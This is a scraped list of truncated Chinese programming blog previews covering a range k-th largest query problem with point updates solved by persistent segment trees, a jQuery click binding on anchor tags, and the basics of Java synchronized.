题目大意: 区间第k大问题+单点修改 基本思路: 这个题有用整体二分,cdq分治,还有主席树+平衡树的,还有就是主席树+树状数组. 我采用的是b站电子科大大佬的主席树写法,尤其喜欢他的离散化方法,所以 ...
- jquery 给a标签绑定click
一. <div id="main"> <div class="tab-content"> <div class="con ...
- 18.synchronized
同步的前提: 必须要有两个或者两个以上的线程 必须是多个线程使用同一个锁 必须保证同步中只能有一个线程在运行 好处:解决了多线程的安全问题 弊端:多个线程需要判断锁,较为消耗资源.抢锁的资源 ...